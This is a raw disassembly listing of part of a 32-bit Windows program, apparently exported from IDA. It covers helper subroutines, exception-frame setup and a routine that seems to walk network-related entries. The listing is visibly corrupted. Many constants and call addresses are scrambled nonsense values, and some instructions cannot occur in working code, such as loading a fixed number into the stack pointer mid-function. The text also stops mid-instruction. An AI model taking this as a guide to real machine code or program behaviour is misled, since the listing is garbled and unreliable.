mov esi, ecx mov [esp+14h+var_10], esi call sub_401190 lea ecx, [esi+4] call sub_4016A9 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_4016A9 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_4016A9 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_4016A9 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_4016A9 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_437078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4168E0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416980 proc near ; CODE XREF: sub_40123Fj var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, ds:dword_4B38CC push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+592A4h], 1 loc_416998: ; CODE XREF: sub_416980+E4j test bl, bl jnz loc_416A6E mov al, [esi+487A2h] test al, al jnz short loc_4169AE mov bl, 1 jmp short loc_4169C2 ; --------------------------------------------------------------------------- loc_4169AE: ; CODE XREF: sub_416980+28j lea ecx, [esi+15Fh] call sub_4017A3 test al, al setz bl test bl, bl jz short loc_4169C9 loc_4169C2: ; CODE XREF: sub_416980+2Cj mov byte ptr [esi+592A4h], 0 loc_4169C9: ; CODE XREF: sub_416980+40j lea ecx, [esp+1Ch+var_C] call sub_401F0F lea edi, [esi+592FBh] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401E01 mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_4012D0 push eax lea ecx, [esp+20h+var_C] call sub_401663 test al, al jz short loc_416A4E loc_416A04: ; CODE XREF: sub_416980+CCj lea ecx, [esp+1Ch+var_C] call sub_402077 mov ecx, [eax] call sub_4016A4 lea ecx, [esp+1Ch+var_C] call sub_402077 mov eax, [eax] test eax, eax jz short loc_416A2B mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_416A2B: ; CODE XREF: sub_416980+A1j lea ecx, [esp+1Ch+var_C] call sub_401316 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_4012D0 push eax lea ecx, [esp+20h+var_C] call sub_401663 test al, al jnz short loc_416A04 loc_416A4E: ; CODE XREF: sub_416980+82j mov ecx, edi call sub_4010A5 push 5FB7F3h call ebp mov al, [esi+592A4h] test al, al jnz loc_416998 test bl, bl jz short loc_416A7B loc_416A6E: ; CODE XREF: sub_416980+1Aj pop edi pop esi pop ebp mov esi, 85FB7Fh pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_416A7B: ; CODE XREF: sub_416980+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_416980 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416AE0 proc near ; CODE XREF: sub_4016C7j var_1B4 = byte ptr -1B4h var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_416AE0 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ebp, 8D2BF6h mov byte ptr [esi+592A4h], 1 call sub_4010A5 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_416B20 push eax jmp short loc_416B25 ; --------------------------------------------------------------------------- loc_416B20: ; CODE XREF: sub_416AE0+3Bj push offset byte_4695FB loc_416B25: ; CODE XREF: sub_416AE0+3Ej lea ecx, [esi+592CFh] call sub_401564 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_416B3E push edi jmp short loc_416B43 ; --------------------------------------------------------------------------- loc_416B3E: ; CODE XREF: sub_416AE0+59j push 634AFDh loc_416B43: ; CODE XREF: sub_416AE0+5Cj lea ecx, [esi+592E4h] call sub_401564 push edi lea ecx, [esi+3Eh] call sub_401334 mov al, [esi+42h] test al, al jz short loc_416B6D mov eax, [esi+43h] lea ecx, [esi+152h] push eax call sub_4018A2 loc_416B6D: ; CODE XREF: sub_416AE0+7Cj lea ecx, [esp+1C4h+var_19C] push ecx push 71A57Eh call dword ptr ds:78D2BFh call sub_401460 lea ecx, [esi+1BBEh] call sub_401730 lea ecx, [esi+1B46h] call sub_40191A lea edi, [esi+15Fh] mov ecx, edi call sub_401C0D mov ebx, ds:dword_4B38CC push 3C695Fh call ebx mov ecx, edi call sub_4011EF push 1E34AFh call ebx mov al, [esi+48h] test al, al jnz short loc_416BD1 mov al, [esi+7C7h] test al, al jz short loc_416BDC loc_416BD1: ; CODE XREF: sub_416AE0+E5j lea ecx, [esi+591A9h] call sub_40137F loc_416BDC: ; CODE XREF: sub_416AE0+EFj push 0F1A57h call ebx lea ebx, [esi+3F9h] lea edi, [esi+1C58h] push ebx mov ecx, edi call sub_401A64 mov ecx, edi call sub_401172 mov al, [esi+77Eh] test al, al jz short loc_416C17 lea edx, [esi+71Ch] push ebx push edx mov ecx, edi call sub_40168B loc_416C17: ; CODE XREF: sub_416AE0+126j mov al, [esi+7C7h] test al, al jz short loc_416C3E lea ebp, [esi+7F7h] mov ecx, edi push ebp call sub_401E5B test al, al jnz short loc_416C3E push ebx push ebp mov ecx, edi call sub_401442 jmp short loc_416C4C ; --------------------------------------------------------------------------- loc_416C3E: ; CODE XREF: sub_416AE0+13Fj ; sub_416AE0+151j lea ebp, [esi+7F7h] mov ecx, edi push ebp call sub_40186B loc_416C4C: ; CODE XREF: sub_416AE0+15Cj mov al, [esi+7C7h] test al, al jz short loc_416C71 mov al, [esi+48h] test al, al jnz short loc_416C71 push ebp mov ecx, edi call sub_401E7E test al, al jz short loc_416C71 push 0 call ds:dword_478D2B loc_416C71: ; CODE XREF: sub_416AE0+174j ; sub_416AE0+17Bj ... call sub_401DB1 lea ecx, [esi+168h] call sub_401726 push eax lea eax, [esp+1C8h+var_1B4] push eax call sub_401EBF add esp, 8 push eax lea ecx, [esi+592A5h] mov [esp+1C8h+var_4], 0 call sub_401EAB lea ecx, [esp+1C4h+var_1B4] mov [esp+1C4h+var_4], 0FFFFFFFFh call sub_4011F9 lea ebx, [esi+4878Bh] mov ecx, ebx call sub_40137F lea ecx, [esi+48A75h] call sub_40137F lea ecx, [esi+1D29h] call sub_401C58 lea ecx, [esi+1E6Fh] call sub_401A00 lea ecx, [esi+48A9Eh] call sub_40158C mov ecx, ebx call sub_401929 lea ecx, [esi+591BAh] call sub_401E15 mov ecx, edi call sub_401046 lea ecx, [esi+590E1h] call sub_401A9B lea ecx, [esi+590AFh] call sub_401DC5 lea ecx, [esi+5916Fh] call sub_40188E mov ecx, esi call sub_40123F mov ecx, ebx mov edi, eax call sub_4016A4 call sub_401A2D call dword ptr ds:23C695h mov al, [esi+42h] test al, al jz short loc_416D5A lea ecx, [esi+152h] call sub_401BB8 loc_416D5A: ; CODE XREF: sub_416AE0+26Dj mov ecx, [esp+1C4h+var_C] mov eax, edi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 1B4h retn 8 sub_416AE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 0B0h dup(0CCh) ; --------------------------------------------------------------------------- locret_416E30: ; CODE XREF: _294ADE7B:00402068j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416E50: ; CODE XREF: _294ADE7B:00401D89j mov eax, [esp+0Ch] push 0 push eax mov ecx, 2D1E34h call sub_4016C7 retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416E80 proc near ; CODE XREF: sub_401A1Ej var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402027 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4015A5 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4013D9 mov edx, [esi+4] mov ecx, esi push edx call sub_401F64 xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_416E80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416EF0 proc near ; CODE XREF: sub_401A19j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401348 mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_416EF0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416F30 proc near ; CODE XREF: sub_402045j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4012D0 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401E01 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4014E7 mov edx, [esi+4] mov ecx, esi push edx call sub_401EF1 xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_416F30 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416FA0 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40155F mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401C5D mov eax, esi pop esi retn 4 sub_416FA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416FE0 proc near ; CODE XREF: sub_4012D0j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401C5D mov eax, esi pop esi retn 4 sub_416FE0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417010 proc near ; CODE XREF: sub_4010A5j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4012D0 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401E01 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4014E7 pop esi add esp, 0Ch retn sub_417010 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417060 proc near ; CODE XREF: sub_401F0Fj push esi mov esi, ecx call sub_4014C4 mov eax, esi pop esi retn sub_417060 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417080 proc near ; CODE XREF: sub_402077j mov eax, [ecx] push eax call sub_40114F add esp, 4 retn sub_417080 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4170A0 proc near ; CODE XREF: sub_401316j push esi mov esi, ecx mov eax, [esi] push eax call sub_40155F mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_4170A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4170D0 proc near ; CODE XREF: sub_401663j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_402081 neg al sbb eax, eax inc eax retn 4 sub_4170D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417100 proc near ; CODE XREF: sub_40193Dj push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43705C test eax, eax jle short loc_417117 push eax call dword ptr ds:168F1Ah loc_417117: ; CODE XREF: sub_417100+Ej mov ecx, esi call sub_401EC9 pop esi retn sub_417100 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417130 proc near ; CODE XREF: _294ADE7B:0040123Aj ; sub_4018E8j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40193D test [esp+4+arg_0], 1 jz short loc_417148 push esi call sub_430332 add esp, 4 loc_417148: ; CODE XREF: sub_417130+Dj mov eax, esi pop esi retn 4 sub_417130 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417160 proc near ; CODE XREF: sub_4016C2j mov dword ptr [ecx], offset off_43707C jmp sub_401EC9 sub_417160 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_417180: ; CODE XREF: _294ADE7B:loc_401843j ; _294ADE7B:00401FFFj push esi mov esi, ecx call sub_4016C2 test byte ptr [esp+8], 1 jz short loc_417198 push esi call sub_430332 add esp, 4 loc_417198: ; CODE XREF: _294ADE7B:0041718Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4171B0 proc near ; CODE XREF: sub_4017BCj mov dword ptr [ecx], offset off_437088 add ecx, 4 jmp sub_401023 sub_4171B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4171D0 proc near ; CODE XREF: sub_4013D9j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401785 test al, al jz short loc_41722A loc_4171E8: ; CODE XREF: sub_4171D0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401212 lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401785 test al, al jnz short loc_4171E8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_41722A: ; CODE XREF: sub_4171D0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_4171D0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417260 proc near ; CODE XREF: sub_401F64j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401C30 retn 4 sub_417260 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417280 proc near ; CODE XREF: sub_4014E7j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401663 test al, al jz short loc_4172DA loc_417298: ; CODE XREF: sub_417280+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40126C mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FC3 lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401663 test al, al jnz short loc_417298 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4172DA: ; CODE XREF: sub_417280+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_417280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417310 proc near ; CODE XREF: sub_401348j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401B36 mov edi, [esp+8+arg_0] mov esi, eax test edi, edi jnz short loc_417325 mov edi, esi loc_417325: ; CODE XREF: sub_417310+11j push esi call sub_40155F mov [eax], edi mov edi, [esp+0Ch+arg_4] add esp, 4 test edi, edi jnz short loc_41733A mov edi, esi loc_41733A: ; CODE XREF: sub_417310+26j push esi call sub_401A32 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_417310 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417360 proc near ; CODE XREF: sub_401EF1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_40139D retn 4 sub_417360 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417380 proc near ; CODE XREF: sub_40155Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_417380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4173A0 proc near ; CODE XREF: sub_40114Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4173A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4173C0 proc near ; CODE XREF: sub_4014C4j mov eax, ecx retn sub_4173C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4173E0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401F5F mov eax, esi pop esi retn 4 sub_4173E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417410 proc near ; CODE XREF: sub_402081j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_417410 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417440 proc near ; CODE XREF: sub_401212j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40114A mov ecx, eax call sub_401B6D mov esi, eax push esi call sub_40199C push esi mov ebx, eax call sub_401B3B mov ecx, [eax] push ecx call sub_40199C mov edx, [ebx] push esi mov [eax], edx call sub_401B3B push esi mov ebx, eax call sub_40199C mov eax, [eax] push eax call sub_401B3B mov ecx, [ebx] push esi mov [eax], ecx call sub_4011E0 add esp, 1Ch mov ecx, edi push eax call sub_4016BD push esi mov ecx, edi call sub_401F64 mov eax, [edi+8] mov edx, [esp+10h+arg_4] dec eax mov [edi+8], eax mov eax, [esp+10h+arg_0] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_417440 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417500 proc near ; CODE XREF: sub_401C30j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_430332 pop ecx retn 8 sub_417500 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417520 proc near ; CODE XREF: sub_40114Aj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401DCF mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_417520 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417550 proc near ; CODE XREF: sub_401FC3j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40126C mov ecx, eax call sub_401D93 mov esi, eax push esi call sub_40155F push esi mov ebx, eax call sub_401A32 mov ecx, [eax] push ecx call sub_40155F mov edx, [ebx] push esi mov [eax], edx call sub_401A32 push esi mov ebx, eax call sub_40155F mov eax, [eax] push eax call sub_401A32 mov ecx, [ebx] push esi mov [eax], ecx call sub_40114F add esp, 1Ch mov ecx, edi push eax call sub_4017F8 push esi mov ecx, edi call sub_401EF1 mov eax, [edi+8] mov edx, [esp+10h+arg_4] dec eax mov [edi+8], eax mov eax, [esp+10h+arg_0] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_417550 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417610 proc near ; CODE XREF: sub_401A32j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_417610 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417630 proc near ; CODE XREF: sub_401B36j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401BF4 add esp, 8 retn 4 sub_417630 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417660 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_430332 pop ecx retn 8 sub_417660 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417680 proc near ; CODE XREF: sub_401F5Fj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_417680 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176A0 proc near ; CODE XREF: sub_40126Cj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401316 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4176A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176D0 proc near ; CODE XREF: sub_4016BDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_4176D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176F0 proc near ; CODE XREF: sub_4017F8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_4176F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417710 proc near ; CODE XREF: sub_401D93j mov eax, [ecx] retn sub_417710 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417770 proc near ; CODE XREF: sub_401F82j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417770 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_401190 lea ecx, [esi+4] call sub_4016A9 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_437088 call sub_43034A add esp, 4 mov [esp+18h+var_10], eax test eax, eax mov byte ptr [esp+18h+var_4], 1 jz short loc_4177DD mov ecx, eax call sub_401DD4 mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_4177DD: ; CODE XREF: sub_417770+4Fj mov ecx, [esp+18h+var_C] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn sub_417770 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417830 proc near ; CODE XREF: sub_40188Ej var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 65A3C6h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4018DE add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4015F5 add esi, 4 push eax push esi mov esi, 0F968Fh call sub_401523 lea ecx, [esp+28h+var_24] mov [esp+28h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+28h+var_C] pop esi mov large fs:0, ecx add esp, 24h retn sub_417830 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4178D0 proc near ; CODE XREF: sub_401104j var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4178D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_401726 mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012B7 test eax, eax jnz loc_417C8B push ebp push edi mov esp, 6C3E5Ah push 361F2Dh lea eax, [esp+2B8h+var_23C] push edi push eax mov ecx, esi call sub_401622 xor ebp, ebp mov ecx, eax mov [esp+2B4h+var_4], ebp call sub_4015F5 push eax call dword ptr ds:1B0F96h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, esi call sub_401726 push eax lea ecx, [esp+2B8h+var_274] call sub_4017A8 push 4D87CBh lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], edi mov [esp+2B8h+var_2A0], ebp call sub_40138E test eax, eax jz short loc_417995 mov [esp+2B4h+var_2A0], 2 jmp short loc_4179AB ; --------------------------------------------------------------------------- loc_417995: ; CODE XREF: sub_4178D0+B9j push 26C3E5h lea ecx, [esp+2B8h+var_274] call sub_40138E test eax, eax jz short loc_4179AB mov [esp+2B4h+var_2A0], edi loc_4179AB: ; CODE XREF: sub_4178D0+C3j ; sub_4178D0+D5j mov ecx, [ebx+32h] mov esi, 89361Fh xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_417A3A mov esi, ds:dword_4B3AFC add eax, 2 push offset byte_449B0F push eax call esi add esp, 8 test eax, eax jz short loc_417A3A mov ecx, [ebx+32h] push 624D87h mov edx, [ecx] add edx, 2 push edx call esi add esp, 8 test eax, eax jnz loc_417C71 loc_417A3A: ; CODE XREF: sub_4178D0+135j ; sub_4178D0+14Dj push 7126C3h mov [esp+2B8h+var_294], 0C00h call dword ptr ds:789361h add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_4307B0 mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_417C67 lea ebp, [esi+14h] loc_417A76: ; CODE XREF: sub_4178D0+391j cmp dword ptr [ebp-10h], 2 jnz short loc_417A8A mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_417C51 loc_417A8A: ; CODE XREF: sub_4178D0+1AAj mov ax, [ebp-8] mov esi, ds:dword_4B3C4C push eax call esi mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, 